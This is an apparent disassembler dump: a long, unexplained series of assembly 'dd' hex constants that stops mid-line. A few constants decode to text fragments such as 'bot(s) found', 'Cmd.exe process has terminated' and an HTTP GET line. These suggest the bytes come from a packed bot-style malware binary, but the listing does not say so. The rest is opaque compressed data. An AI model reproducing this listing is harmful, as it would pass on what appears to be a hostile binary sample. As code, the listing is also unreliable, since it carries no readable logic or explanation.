8DBAAB8Fh, 333B00BBh, 7FFFFFFh, 2343003h, 2037525h dd 746F6220h, 20297328h, 6E756F66h, 69772064h, 2C026874h dd 7320FF63h, 6E697274h, 73212067h, 966C3B2Eh, 7325BEC8h dd 32161B23h, 2086DB76h, 2007200Ch, 5E690F28h, 29DB21FBh dd 202D2D78h, 2D2E694Ch, 0F604DCE6h, 0A73A555Bh, 0DD601F3Eh dd 4BC714BFh, 136C6C69h, 0FFFE4C00h, 1FD7B542h, 2E646D43h dd 20657865h, 636F7270h, 0DB6C7365h, 683BDFF2h, 74207361h dd 616D7265h, 43AB6406h dd 0B2DBEDB6h, 20566E6Ch, 8616572h, 6C611564h, 0DBD6D86Dh dd 21306D2Bh, 0B6B56343h, 45009F6Dh, 7D721372h, 0BB4F6668h dd 0FDB1B76h, 63B27563h, 0EF616D2Ch, 0DB0A0D28h, 36F6B5Ch dd 4B6D6552h, 6866321Eh, 0EF6B7652h, 706F3FDDh, 1B9F6E65h dd 75766951h, 84B78425h, 6C216913h, 0B8FB6D6h, 66322E30h dd 0E92D730Eh, 0BB9E1013h, 424B3319h, 3B4B162Fh, 1661D817h dd 570C56h, 0DB6D97B2h, 532F6277h, 741F7482h, 85EC756Fh dd 725403DBh, 3C6673E7h, 4A666F20h, 0BB5B958h, 6CE11F63h dd 0D95F9F6Ch, 647A4BACh, 100329Dh, 0F6C6C744h, 214343DBh dd 20444E45h, 21220F22h, 0BC622464h, 105B6F7h, 373C1AE3h dd 0DBEE654Bh, 72132903h, 0A100F0CBh, 749912E0h, 0D80FF700h dd 12436DB6h, 67044C2Dh, 75623AEDh, 7656F6B3h, 191317BDh dd 0BFDB8D1Bh, 544547FBh, 488B2F20h, 2F505454h, 15302E31h dd 60696F48h, 3B75EC24h, 2AF32173h, 7F8D4858h, 6E776F64h dd 24096F6Ch, 42E36E73h, 628E55C3h, 0F850A42Ah, 617B0A78h dd 53277472h, 66956375h, 0DD923030h, 58796CB4h, 0C92D7C51h dd 1A32BB81h, 1CF62C48h, 0BB565BBh, 0AEC7075h, 9B66C35Fh dd 6966DE06h, 0B5F75D88h, 70916DB6h, 65156934h, 0A6032F43h dd 3A591DB6h, 704B73BBh, 0B6134FEEh, 3A354ED4h, 36346C11h dd 0A8DFB468h, 74662439h, 3D2F3A70h, 5DDB5821h, 2279605Ah dd 32437375h, 0B0160331h, 3D52D9h, 74333038h, 4DB65B0Ch dd 2F431B52h, 7235739Bh, 846C1FCh, 2F1F9FB3h, 0ADB3AF73h dd 0C4741B77h, 75E70A65h, 595BD90Ch, 446F1038h, 2563D85Bh dd 246F3AABh, 28DEB11Dh, 51343023h, 0CB6845CCh, 0BF3A4955h dd 2D1330D6h, 20B6B420h, 70A97FA3h, 62EFF727h, 4D826775h dd 0A875646Fh, 4BA7F70Eh, 9457415Bh, 68737C63h, 0DDA376ACh dd 4E731878h, 4165B03Dh, 761C0658h, 3830F6C8h, 43420858h dd 0D87B4411h, 49538790h, 1A504208h, 0D8721FDh, 4C464908h dd 9E534741h, 0B8C2B63h, 65884B2Eh, 9A9317DCh, 107D9DA3h dd 0FF230045h, 0B8758D80h, 0D952BB75h, 45435845h, 0FE495450h dd 4FEDD81Fh, 54465F4Eh, 54530F00h, 5F4B4341h, 5245564Fh dd 0DEC26DB5h, 574F19h, 43034E1Bh, 0D92C0E02h, 554E0ABFh dd 454C4241h, 4923185Fh, 0DFCBEDB0h, 49445F1Fh, 42444956h dd 465A5F59h, 0CDEF434Fh, 4C49BDBDh, 4C414739h, 55526927h dd 5EE61343h, 421F6138h, 504B2A52h, 0DA37464Fh, 9516D6F6h dd 5F535309h, 5DF74F58h, 73C8FB7Fh, 6748544Fh, 70647500h dd 72124900h, 0F6B9B0D6h, 4774656Eh, 6308FA02h, 0DDF55391h dd 5B71236h, 77F87845h, 2E1E69FDh, 0A5DA176Bh, 50009464h dd 4365B118h, 0D151E02h, 1B379A18h, 0B4740011h, 17D7EFB1h dd 8662363h, 7DA364CFh, 29BF1C25h, 0A23B671Bh, 77BD93FBh dd 0B0E656Dh, 3273771Ah, 3232335Fh, 1EE022CCh, 7C4E5700h dd 193B825Eh, 32D17EC2h, 41411757h, 4B2B6D48h, 28132C58h dd 167BDC6Dh, 1A60B12Bh, 0BAE96C41h, 0D6DD73FCh, 0B751823h dd 531B974Eh, 0F0656863h, 967F739Fh, 26626F4Ah, 69702FB3h dd 0CF667542h, 0F75D660h, 1300CF46h, 0C64F54FEh, 44B06256h dd 1C6F530Fh, 58B32B45h, 0F6DD83Bh, 0E2E7355h, 92C9700Bh dd 17B644B5h, 0D9420B57h, 4969684Eh, 61676E1Ch, 35B12C05h dd 698B001Ch, 7AE661B9h, 33ADB3C2h, 0A630963h, 6E41CB53h dd 260AE893h, 0CF6E28B6h, 0D86B27ADh, 0B17B2D2Ah, 0A76F376Ch dd 0AFEE1253h, 841CF51h, 658494Eh, 0DA7C0C43h, 0CE6E3512h dd 54FC6469h, 6AB9B07Ah, 6DE7763Dh, 0E903B287h, 2049D87Fh dd 0F7723131h, 33FFFEh, 0C6AEB58Eh, 0A6BBB6FEh, 93D8D8A7h dd 31037CE3h, 76792E30h, 8E39DBECh, 2E383631h, 732370Fh dd 605D3732h, 2E8616D8h, 313A5F02h, 0CC26CAC1h, 0F3A130Fh dd 9B0F5AB5h, 474C0793h, 966193DFh, 72B135A1h, 43443D0Bh dd 0C5AB17B2h, 1723FDEAh, 6B838C10h, 0BFD9F846h, 0F166CEC2h dd 1FEE5090h, 30411373h, 0BF0E5E38h, 460D4C86h, 7973C685h dd 3437E7CCh, 0D59B3A1h, 4252ECBh, 9C0DD773h, 25F500D0h dd 8B2D7027h, 3A5461D0h, 62EF0FA7h, 30CBDCEFh, 7475832h dd 554B4813h, 72790653h, 4D4C073Bh, 0C1525543h, 438BEDBAh dd 3A8C28Dh, 0A6900798h, 64889A69h, 0D3203454h, 0C6ECB35h dd 0E48CF403h, 0DBC07D0h, 9C4D34D2h, 4C5C6C88h, 0D34DA2C9h dd 0F0102403h, 0D4BF1F8Bh, 63B4A97Fh, 0BBA7A79Ah, 0FFD6B6AEh dd 0C89BB2CBh, 1FCBB69Ch, 0ADF9FFA9h, 0A7B8A4B0h, 77C493B0h dd 98A1A790h, 0FFECBBA4h, 93EC3FFFh, 0B83393CEh, 0A184A9B2h dd 0ABBCB5B7h, 0DBD6D899h, 8BC390B6h, 0FD899EE2h, 0BCFFFB07h dd 0BBA9A3B1h, 0E593E5D6h, 9CC580A1h, 0BEAE9827h, 0ACB1E69Bh dd 0FFD8CDADh, 0B28A3787h, 0A78187B6h, 8EA7E6A2h, 0A4AA0FD3h dd 0FFFF6032h, 91E8A6B1h, 0EEA5D483h, 94C39DA4h, 0B89898E2h dd 0FFFFA42Bh, 77ABD81Fh, 8CB7ABAEh, 0E8A7A3A7h, 81C2938Ch dd 8682A5F8h, 82ABABBFh, 8DAB761Dh, 1FA4B813h, 15B0F9Fh dd 8933C86Ah, 0C293035Bh, 0D8D8723Eh, 0FA8E1382h, 5793BAADh dd 0FCAAD61Eh, 9AC68E87h, 0BA9CE777h, 5F606EE1h, 0BAB1A6A7h dd 0A7A13B4Fh, 0FFFA10B3h, 8E975807h, 0F999D199h, 89D6A8F7h dd 0A98BB0AEh, 83FD5AA0h, 951F8BB9h, 0A687BEADh, 2FACB1FAh dd 0FC1B7FCh, 0A68D1FBAh, 0A79BF4A0h, 0F72FC084h, 0F083D3BBh dd 0B0BB56FFh, 84F4AD85h, 0D395ADBAh, 9A3BE485h, 0C84FD80Dh dd 0B1B0ABB1h, 43BB9BB8h, 0FFFFFFB5h, 0D689BDB6h, 83A1AD87h dd 0AEE39FC4h, 0B68CE7C9h, 0BDBA87B1h, 0A5E2B1A0h, 7BE184D3h dd 0BEEC3F20h, 9537C38Ah, 3A89AAB1h, 70340729h, 5C5C6689h dd 0B96C70A6h, 346EBB72h, 0FB53D048h, 5CD37774h, 36EC6A4Dh dd 73B97B5Ah, 0E0575C0Dh, 1B8B6BADh, 435C732Bh, 561C729Eh dd 0AE756E2Bh, 5C7073A6h, 9D402F52h, 0A54A6F68h, 6630A6A5h dd 5A9C3AA6h, 97B5AE46h, 61676138h, 4C0C0D30h, 0F6D1ECD9h dd 4483A41h, 0A0F4046h, 0A150C9D1h, 0BC1BA837h, 6BD43594h dd 38204F67h, 0CEC11625h, 6162635Dh, 0E2BC8074h, 58952A3h dd 0F5720F70h, 63C37360h, 86698540h, 3AF025ABh, 7CFC6895h dd 2147A5D2h, 736B897Ah, 0C14E2EBBh, 8683E21Ah, 0B94E0403h dd 33D6336Ah, 6204810Ch, 23333236h, 20C8B53Dh, 2EEF3064h dd 61FFBC08h, 0B1940002h, 0BBABC6B7h, 974F3EB9h, 37A5FF8Ch dd 0D8A3BAA6h, 0F9FA99D5h, 7E23778Bh, 0ACECFFD8h, 0A39D0BB1h dd 0BAE685ACh, 9E1BBCB1h, 7F8FB6ADh, 33978C19h, 7BA7A9FAh dd 0A7A58D97h, 0D3A1E6BAh, 99FB3D2Dh, 0A2F6D8DBh, 0DF90E813h dd 0FD9803B4h, 544D3692h, 0F38FE43Ch, 86AEAD9Dh, 2FFFA5FBh dd 0ECACB5D3h, 0F29BD791h, 98DFC7A4h, 0B7E66BAAh, 0FEDA5BBh dd 1F8DFFF8h, 0B596C2C6h, 0B0B5F7B7h, 0D19FB1E7h, 0C6B3F298h dd 0FEB296D6h, 6BDFFFFFh, 0A9ADFBB8h, 0A9D999AAh, 0C383B2F5h dd 8DB5A78Eh, 0BC8BE6ACh, 0C79BC7AFh, 0D891B2B9h, 8C49FFFFh dd 0A98FF7B1h, 0F3BBB1B9h, 0FA9FCFD8h, 96C5C7B0h, 0FFFF6FAFh dd 0C5ED5FFFh, 0B1B8C799h, 0A4C895C6h, 0E6FCD9EDh, 0C6FAE5E3h dd 0E3BA9382h, 0EFC0C0D1h, 0FFB7FEE1h, 0ECF98BFFh, 0C7A3FDF9h dd 0B5A4CFD2h, 0F1CC9EDCh, 0B5D3C7BCh, 0D598BBBBh, 8CAFF2D8h dd 0C2E0907Ch, 0F7FF9BB3h dd 0FDB9A78Bh, 2321EDEDh, 0BAAC89ADh, 0D9AFA0E7h, 0D49BA2F4h dd 0DFFFD79Ch, 8FC7362Eh, 93AEAF3Dh, 0BBF899E2h, 8B8BC78Bh dd 17BC9BB7h, 25F09CBFh, 0EF93986Fh, 848D47B2h, 0E6A6B5AAh dd 0B7B2C0A1h, 0FB91D3A5h, 2795ABB2h, 60C51C0Ch, 65930753h dd 98DC4A30h, 534F1520h, 395B9059h, 3F5CC64Ah, 0AD6C7670h dd 850E6235h, 620D1102h, 17CA8EE3h, 50696408h, 6DEC3A55h dd 12D87DB0h, 147A484Dh, 0D03AA052h, 1196AD65h, 25200AC6h dd 40ED46F5h, 3676B420h, 6B2993Ah, 70D6896Dh, 5733D382h dd 0DED5B603h, 3D685379h, 30105A2Eh, 0CCDF000Eh, 6B1D161Ch dd 4E6EEA20h, 2473014Ch, 8700FB0h, 727120Dh, 0DB196F13h dd 53C17837h, 52418B83h, 45035744h, 0A360DA31h, 95539E5Ch dd 0AEA53E49h, 1C5C84D6h, 7D721114h, 64C745D0h, 4EE85C36h dd 0DF3E59D8h, 32F077CDh, 333030h, 0B005058h, 0C9454D30h dd 395DD745h, 7542338h, 0C396FF35h, 0A554A1B9h, 3F6Fh dd 0C3435B6Bh, 772B5882h, 0C596B51h, 93800908h, 607C84C7h dd 540FA86Fh, 5ADA7079h, 1C46848Ch, 0D1C8775Dh, 152FC581h dd 28B9144Ch, 7965DB2Ch, 0B888C112h, 9BAD780Ch, 2B70274Bh dd 0C5D8488h, 43525771h, 88B9F892h, 7CBAB45h, 16E57641h dd 0F86C1568h, 14F04279h, 0A32A945Ch, 0C255A0A0h, 7F7F00A1h dd 866E6B6Eh, 0AED71303h, 5C511205h, 0F16F5447h, 54CB6C19h dd 73714620h, 0A15975B2h, 9B17DE03h, 35168C61h, 50630DCCh dd 0C8DEDC37h, 0F5F612h, 0C01F2D0Fh, 0E3D6C82Dh, 6DA47587h dd 302D564h, 6BB2BFh, 562D6463h, 3A045A7h, 78630822h, 4C039E37h dd 0E3760FF0h, 0D84973Fh, 0B5121Bh, 0C061CD17h, 900B587h dd 27677462h, 6E8E688Ch, 5D7F2011h, 6819E08Bh, 30EF08B5h dd 0BD5E2393h, 7EC2484Dh, 2181B6C5h, 0C62AD051h, 0A137B32Ah dd 0E7B6EF21h, 4D9B6057h, 70FE7882h, 425272EFh, 2EDD4ECBh dd 860BCE1Fh, 2F11DB0Dh, 801A3608h, 538525ABh, 4CDF14CDh dd 0AF76BA6Dh, 4D43490Fh, 5B60CE50h, 99197EABh, 0F664830Ah dd 0DB0110h, 3A38032Ah, 36EC01Dh, 6D05271Bh, 36550473h dd 24C564Bh, 0D971482Bh, 293187ACh, 5865EAFBh, 936C9A1Ah dd 0CB62C403h, 6D63E36Fh, 6F6C4370h, 780FAD48h, 4F4744CFh dd 0FDFCA45h, 753BDD1h, 0D92F48E1h, 118E192Eh, 73177C30h dd 0EBE95BADh, 66F7A61Ah, 680C3C74h, 0EDD5ED95h, 203E0B9Bh dd 70093C5Bh, 990BA463h, 3CA76BE1h, 70090A1Ch, 0E13B1555h dd 435DDA2Ah, 0D84FE16Dh, 34F1213Ah, 75517333h, 2A047994h dd 2EF98C24h, 59D91A24h, 2671A3B1h, 4591685Fh, 8E033C53h dd 1A81B6AAh, 0B52FB791h, 98ABBAh, 4800A3F2h, 371D026Fh dd 0E76665D1h, 63132173h, 698EEC52h, 29F608Fh, 35C0E11Fh dd 0EF96690Ah, 2854DDEAh, 6B3325ECh, 3703351Eh, 9D9BACFBh dd 5807320Bh, 1590C454h, 722A5C14h, 7B353239h, 7B351F0h dd 80DF80F9h, 6026C8CEh, 9013026Bh, 4EE43C9Fh, 0C5582C68h dd 29E403A0h, 0D06C68C9h, 59C06B50h, 59DCE83Bh, 990A33E8h dd 3233E75Bh, 0BEC3EC4h, 408308B0h, 72A82F17h, 25F0701h dd 7518081Dh, 0B2ECE0B8h, 6484941Ch, 0FD94868Fh, 0E806F8E0h dd 34767069h, 54AC6720h, 34A6568h, 6F0F9281h, 6C30E081h dd 22E7D90h, 3E7652BAh, 0ECF33FF6h, 63465F10h, 23626420h dd 979A4EDBh, 7D923349h, 2711BA18h, 80810737h, 43388C8Dh dd 28382476h, 9944EE05h, 0AC365B09h, 90335D68h, 6007B00Dh dd 7C262322h, 3C34C813h, 46536AA7h, 0D38CEBAFh, 0A2674363h dd 0A5B2DD50h, 0E3A8AF61h, 0C9C20FF1h, 46C8784Fh, 0FB461805h dd 0A42278h, 327EC0EDh, 0EC267EA8h, 59433756h, 4C2E0338h dd 939B0AB2h, 2D9E039Ch, 308A7881h, 0F6A79978h, 99612C2h dd 2819D263h, 7A3B1371h, 204FB0F6h, 0B23901Eh, 60AF5E10h dd 9E49C52Ch, 4A0BC245h, 0F64F4D07h, 28A07EC9h, 1597907Ah dd 919B1113h, 0E0E08BD5h, 0E6440703h, 0DBED6D20h, 0F1E24D5Ch dd 6E034514h, 2727D9CBh, 5136F879h, 1B5021F8h, 0C9F3F30Ch dd 0C3383B3Eh, 0B0429013h, 52415073h, 4E12E254h, 14FE20F2h dd 4AFFAA88h, 95CF6D96h, 17221F1Ch, 62AC2362h, 0C047AC90h dd 24ECBD43h, 729D50FDh, 56EB3304h, 0D85F3763h, 0CF93E40Fh dd 423C479Ah, 23410B60h, 42764F1Bh, 15D3957Eh, 4F698D98h dd 8610DA78h, 0C9248BE3h, 97101341h, 2807EC0Eh, 3B774003h dd 36653A62h, 870D185Fh, 642A9934h, 512EA0DFh, 24EAEA55h dd 6FE17449h, 61D939CAh, 6DBCABC1h, 6E653B4Eh, 0F23807h dd 2209020Eh, 0F88B21F6h, 96E70064h, 7D33109Eh, 0D8F203D9h dd 8A4053Ch, 0A20B1622h, 0F0920C17h, 0CF179764h, 80A660E7h dd 85EC1E64h, 907BFC35h, 5864574Bh, 0FC976415h, 88A02310h dd 0BDE22D9h, 0FB09B0BFh, 0E53CCCE8h, 0F90FD38Ch, 0F15561C7h dd 61207E40h, 0A067270Bh, 0E109E120h, 0F7608397h, 0D897AE1Fh dd 4EE72BAFh, 980F92F2h, 0B8615D6h, 86C44A38h, 0AF05F5E3h dd 9569B2A6h, 50CF5B0Ah, 566B4C08h, 0A3448CD0h, 634A2257h dd 3C43266h, 0F177DD1Ah, 0DF6568BDh, 796C723Ch, 0FED7372Eh dd 29922D59h, 52422336h, 4E454B4Fh, 1DFB59D8h, 2330F1Bh dd 0E78A0B0Dh, 3FFFFFFEh, 0CD818BACh, 8196F4BDh, 0D6C3D39Ah dd 0FDD3F9B9h, 0C8AAE7D9h, 0E6FAEE95h, 0D8C5D3E2h, 43F21F90h dd 2E78970h, 0B7B3F8D0h, 3F607FFFh, 0C2C28390h, 9D81BB0Fh dd 9E9C8FAEh, 0E7A68F83h, 3F00C3A4h, 0BE81FFECh, 0EAF0A0FEh dd 0ECE3FEDCh, 0ABBD1FF1h, 1F81BEh, 9827BFF3h, 83D299B0h dd 0E2A0A3F4h, 0FF9F8D7Bh, 0BCF929FFh, 8D86959Fh, 8BC3B896h dd 0B08BD3AAh, 82BC86BCh, 9FB1BAB1h, 8C9E11E4h, 0FD30FFD9h dd 4FA19701h, 0B09F1D29h, 265A7927h, 3231660Fh, 442BA838h dd 66894789h, 1C7EC90h, 77A309F6h, 705160B2h, 0C0FB2B14h dd 6E65E498h, 2320633Dh, 0B2413323h, 176CB193h, 6BAF99C3h dd 66180330h, 64C6BAC8h, 10FC8716h, 1D179FBh, 27C8F84Eh dd 304BD63Bh, 0D1B7146Eh, 911A80A5h, 3F189EF8h, 49400421h dd 0FEE5EEBBh, 56495250h, 3547534Dh, 33B1F54h, 9A683D3Ch dd 0B3E2CEEh, 2F243D21h, 0FC3AED58h, 66240F36h, 0D4830B8Eh dd 846CAB37h, 24842457h, 88445F91h, 248C6E76h, 89576E75h dd 0C8943B42h, 0E0043631h, 973706Ch, 0E3262617h, 8401B729h dd 3AECB304h, 5A9154C0h, 373600BAh, 0E45989F3h, 63032BAEh dd 0B80B7525h, 0AAF75365h, 42038B47h, 964E55A0h, 4C41C04Dh dd 0C2D8CB2Fh, 536305CFh, 544F4E53h, 5174519h, 0D818ABh dd 9D8187F0h, 73A2B47Ah, 432BF325h, 1ABD84B1h, 17202B2Fh dd 173EC96Eh, 5D072B2Ah, 33337F5Bh, 917EE97Bh, 401B32h dd 3534300Fh, 61F9731h, 4F481E07h, 2067EB53h, 7858782Bh dd 67698DD9h, 730F3130h, 0D175DD6Dh, 0F3137B52h, 5260313Fh dd 8A35B6ECh, 50746C6Bh, 7014714h, 1728580Dh, 0CF53B3AFh dd 731F4C85h, 67659F37h, 12BF6467h, 0E8359684h, 0CC362E31h dd 6434281Fh, 1E59D4E8h, 1D96281Ch, 34298DF6h, 0B01243Ah dd 0F0030A70h, 846BF678h, 40732D8h, 8C0BA7FBh, 4F6F66F7h dd 91CF0781h, 36DFA053h, 434297ACh, 48474630h, 7FA34A49h dd 2424D0BBh, 54605150h, 58575655h, 0C6BD5A59h, 673ADED6h dd 6C6B6A63h dd 2B71B6F3h, 0B7E170A1h, 787776F8h, 320E7A79h, 0BDF32F33h dd 387D5648h, 432F2B39h, 702E8F0h, 282D0887h, 98397785h dd 0F7383401h, 0E2996341h, 703C86C3h, 0EC30BF8Fh, 42120FF0h dd 5C28F5C3h, 8A0DC28Fh, 2735D300h, 770001A7h, 4B750376h dd 0C67FDDFDh, 6777F326h, 7277F292h, 0F9D4630Bh, 362C377h dd 0FFFF5162h, 0B8036F90h, 0FB717564h, 771AB7Bh, 0ED773AD5h dd 5C7C941Eh, 91610756h, 8977DBFFh, 0B877FD1Fh, 6677E216h dd 0F02A82DCh, 0FFFCA81h, 2ECD9D44h, 1BFFFF9Dh, 0EF745AAAh dd 9D5E21B8h, 0AFFA8B4Ah, 75AFEA75h, 24E7FFE7h, 11EF641Fh dd 2836A703h, 0DEF7BF3h, 2FA0F7FBh, 3A7037Ch, 0B7139BA7h dd 94A7D818h, 0C330030Bh, 48C0D3DAh, 1167F7Bh, 0C1B3429Bh dd 0A00101BAh, 0AD06C0A4h, 3FFFE767h, 8A885D04h, 11C91CEBh dd 8E89Fh, 6048102Bh, 0EC8D581Ch, 81F31A99h, 7BDB0B07h dd 386FFh, 7FFDE0CCh, 7F0B03h, 23967BEEh, 3E503E8h, 0FE170477h dd 6849FFFh, 5824321Fh, 6445CCFDh, 0DD70B049h, 962C74AEh dd 0D5E60D2h, 0C9B9F721h, 7F0B701Bh, 9A5F077Ch, 10E6FFFFh dd 0F1F19680h, 11CE4D2Ah, 20006AA6h, 0F4726EAFh, 0C4F94D0Ch dd 33425B0Fh, 0BAADF00Dh, 0ECF4A827h, 606E7F89h, 454D036Fh dd 0A2FC574Fh, 6578BCEFh, 0FF033887h, 0D9E70330h, 0C320EA0Fh dd 0C8350810h, 6F844300h, 0D417BC18h, 0F6F70797h, 0C401FEC5h dd 6400CD28h, 1F0BCD29h, 324373B9h, 0FAB4364h, 4324A6A5h dd 0ADA42432h, 3242F89Ah, 5B6073AAh, 82BEF758h, 78EC9F75h dd 0BD10D3DBh, 50D7B019h, 2088B64Fh, 0EC08161Ch, 485F00B3h dd 23F21348h, 6006603h, 27100209h, 3DE327Fh, 0B30C1978h dd 98D8701Bh, 844F9893h, 0D2FEEE49h, 0BE3DA911h, 3257B257h dd 0E7803100h, 0B613893Bh, 0B431800h, 24320360h, 0C0F73093h dd 0A41FFF3Bh, 0C5811301h, 0E800317h, 99994AE9h, 0D80C8AF1h dd 6F50FB08h, 0E302857Ah, 7AB230E7h, 6E5F2312h, 970DDACBh dd 0F0192C05h, 70B0C2Fh, 26CBB184h, 7F103F2Bh, 965C472Eh dd 596829A2h, 1A8B680Eh, 0D36B23B0h, 5C07208Fh, 877816E8h dd 24D10735h, 12B93105h, 5535606Fh, 61350034h, 6DAB760Bh dd 647B0190h, 776300DDh, 428B1AB3h, 64AF2D1Bh, 2AD8BF6Ch dd 28F77B0Ch, 0FF010B8Ch, 3FB76E59h, 2180310h, 9D1616C6h dd 1C550313h, 0E581C998h, 5C0A0DBEh, 87D62F5Fh, 0FFF4FA00h dd 4AB8050Bh, 7D1C4D9Fh, 1E8611CFh, 2577CD3h, 87C8359Bh dd 77FF0053h, 4D05E324h, 75757DFFh, 47C6EB40h, 0A74E71BCh dd 0F605C212h, 97B5D01Ch, 3E980931h, 3F13496Ch, 1C68A3DFh dd 465BC209h, 133759C0h, 0A1705007h, 5FC721Ah, 788A26F7h dd 5304A87h, 7B0AFB24h, 2CB7CFA7h, 19EB10EBh, 76504EBh dd 6F927001h, 41730F59h, 0F0DD3723h, 0EBE32C0Dh, 18759F3Bh dd 0B3F5900h, 0FEA01B0Bh, 627B758h, 851EF42Bh, 424D53FFh dd 42EC6572h, 5318A16Eh, 62B6FEC8h, 0FE2DA1BFh, 4E204350h dd 53575445h, 474FEF4Bh, 204D4152h, 102B502Dh, 4DBF172Dh dd 0AC516623h, 80210A02h, 0E8362D42h, 5367C357h, 2DBADCBCh dd 52330EB6h, 234D2761h, 404A5832h, 32D01730h, 0E505EE36h dd 544E0ADFh, 204D4C20h, 108BE730h, 0A49E4640h, 0E3090773h dd 0CA1B6C2h, 11C4A4DBh, 95A8A60Ah, 0BFD481A8h, 524B5E69h dd 0AC5847C2h, 82973A50h, 1295E008h, 35B18Dh, 77916E24h dd 99EF6CF7h, 132858Dh, 0AC398C09h, 0CF7320E3h, 30CD3523h dd 0C89CF24Eh, 8ABDA0Eh, 0C935DA20h, 9F570324h, 2106C103h dd 47DF1E82h, 1E46E707h, 64090h, 1F011006h, 0F8DE5FFFh dd 0E0888A15h, 44004FF2h, 7A6A1981h, 1C49E4F2h, 2530AF28h dd 0F6044DF2h, 53671074h, 75DF5CE1h, 14B468EBh, 8666A29h dd 37B6EEBDh, 61E331A3h, 36072E4Dh, 0EA153800h, 772E46C6h dd 0E9491B30h, 62D9D873h, 633F003Dh, 7CBCB64h, 0DC08A2C8h dd 18004004h, 483ACDEh, 7DA5DEAEh, 11A9019Fh, 402C2613h dd 0DC346D28h, 8B117FF7h, 0D374D96Ch, 0BA790A70h, 9C6B7B64h dd 582AAC25h, 4A109F5Bh, 0EBAEB621h, 5413540Eh, 5963265Ah dd 6B095C22h, 0CBC7E7D2h, 0FF83D345h, 19BC81Fh, 10B810B8h dd 3919286Ah, 11D0B10Ch, 9200A89Bh, 0C0F920DBh, 0F52ED94Fh dd 0E4F40CA3h, 602E7C95h, 0CA00CA0h, 3C803239h, 0A0000CB1h dd 6726C90Ch, 0A30C883Dh, 0B25907ECh, 1495E11Eh, 707C4F40h dd 1E079740h, 4311BD91h, 79857813h, 0EC05F09Eh, 0E9A65BABh dd 2FF81013h, 273C7A4h, 230EFEFFh, 0C3074932h, 8408FCD7h dd 93C94388h, 10B9F74Fh, 0B801FFEEh, 0C8200C10h, 0ADE4D987h dd 0F7F070Dh, 967C95D8h, 70011857h, 401B0F84h, 0F84E43Eh dd 2000F95h, 7931487Fh, 6C0F84F2h, 5BD9570Fh, 6FA87095h dd 3F8B1343h, 0EC4F11ABh, 0E4FF071Ch, 0DFFED944h, 123C01FEh dd 1C037515h, 0B68ABA75h, 0D01E5042h, 34281242h, 3AD68353h dd 3C0B8A15h, 8DAEB383h, 2A451C42h, 0DB080228h, 7F677830h dd 0EEA51B00h, 5B592427h, 28992F2h, 9A20013Ah, 0B8179A61h dd 0C0A2460Ah, 2B6B6360h, 2349005Ch, 0C8573924h, 375CE0CBh dd 0AD082001h, 9205768h, 65449353h, 6A578850h, 0FFC9132Fh dd 324FC8FFh, 0D316704Bh, 5A781201h, 0E16EBF47h, 2E030388h dd 66879027h, 3902507h, 81D3C1Dh, 1C5CEB70h, 88E00408h dd 0F85C14Ah, 0A34A13D6h, 505C0323h, 7F5C455Dh, 2592E58Eh dd 304312Eh, 4221001Fh, 0C91EC2D6h, 16384E8h, 613B9307h dd 0CBD7C803h, 0ABCA0490h, 0AF2E6C9h, 7CC901C8h, 0C90E0480h dd 4805E43h, 4800487h, 4F27E48Fh, 72B30468h, 215A381h dd 616A5901h, 67858707h, 77DD607h, 0A98504EBh, 470A1D08h dd 89D4915h, 4089ED23h, 2C41FFFEh, 0D2268627h, 5EB3A059h dd 6F8800AAh, 195D2C5h, 0BD5A5A90h, 0C8642B2Fh, 9966FF68h dd 78AC0642h, 0C10010C7h, 13238D9Ah, 0BB725C8Ch, 0B9655C84h dd 78CF0965h, 0C8572172h, 0C9400010h, 4054FFFFh, 3D8D9F4Eh dd 8F11CEA0h, 3E000869h, 11B0530h, 12B59173h, 0F60A3B4h dd 3CEF6179h, 3CA35F08h, 4E084D08h, 200C8Eh, 0D824083Ch dd 40F57204h, 0EB076EA3h, 52C736EEh, 3154012Ch, 3590053h dd 84C13D54h, 0D4DAE09h, 5D83F1F7h, 0E0573416h, 900BC09Ch dd 60EDF201h, 708EB00h, 767A1567h, 1B01FB23h, 444F4856h dd 0E4009088h, 33080047h, 1013C79h, 20DF4617h, 0D0FB048Fh dd 7F56767Fh, 129F7496h, 60077D7Fh, 535B03EBh, 0D155DFFAh dd 3199E8C3h, 13404C0h, 315B50D8h, 0EEFFF6D2h, 240ED37h dd 10504030h, 28C22841h, 4E2C0C6h, 4EAC166h, 4BFC0B0Eh dd 2F630FCh, 18F2803h, 31584313h, 0D55902C9h, 2FDD6C9h dd 0BD3143D0h, 158FC77h, 88C2C008h, 4F02FC23h, 1E7655Bh dd 0B9BF0195h, 164AFF4h, 0AFA8BD80h, 0BE277D8Ah, 8CAB84F4h dd 18929F8h, 0E7E718BFh, 138DDFFFh, 975201B0h, 11D059CAh dd 0A000D5A8h, 51800DC9h, 0FFFF08BEh, 1D55B526h, 46C5C137h dd 8F6379ABh, 69E8682Ah, 7C9E0493h, 0F579E79Eh, 27FCF9F8h dd 0CF3CF801h, 3F372FD3h, 20044140h, 1FE9EFD0h, 458D4342h dd 0F3CF8B40h, 2047EF7Ch, 4A4922DCh, 0CF004D4Bh, 4F4E3CF3h dd 0C3889F98h, 9119D966h, 3939205h, 2E59324h, 1196C3ECh dd 99219732h dd 0C54AEBA6h, 3D3C4F4h, 9AC807D4h, 0C09A69A6h, 0A0A8B4B8h dd 0B35D3498h, 908AFC6Ch, 80840388h, 0D35D34D3h, 60136C74h dd 0D34D5058h, 40444D34h, 2830383Ch, 34D34D34h, 8101820h dd 64EEBA04h, 0C3F800D3h, 3EC07F0h, 0A69A69E4h, 0D0D8E069h dd 0F99DC0C8h, 0B0B8A69Ah, 3C39740h, 0D74D3494h, 3B888C34h dd 0D36C7480h, 64D34D34h, 50545C60h, 4EEBA69Ah, 3B380348h dd 0AE202830h, 1869A77Bh, 79714h, 0E99CD98Fh, 3C2F8CCh dd 0C29300E8h, 9D34D34Dh, 0C4D0DC03h, 4D34ACB8h, 8CA034D3h dd 17606878h, 30D74D26h, 6720283Fh, 0D74D41DFh, 271C244Dh dd 8140318h, 36E74D34h, 32FC1FCh, 0D3DCE4F0h, 0D8D34D35h dd 1FCCD0D4h, 34D34DC8h, 0B0B8C04Dh, 34909CA8h, 8434D34Dh dd 6068707Ch, 0D967B669h, 98589250h, 1050440Bh, 48AEC25Eh dd 67C14003h, 0DDF3C138h, 2CBBB085h, 0FBC1240Fh, 18140F1Ch dd 375D3DDh, 0C0041B0Ch, 8C13C0ABh, 0F05DD74Dh, 0DC03E80Fh dd 3423C0D0h, 0CC2EEBDDh, 7FF500Fh, 34D3B844h, 3B0D74Dh dd 9098A0A8h, 5D3CD180h, 0C088578Ch, 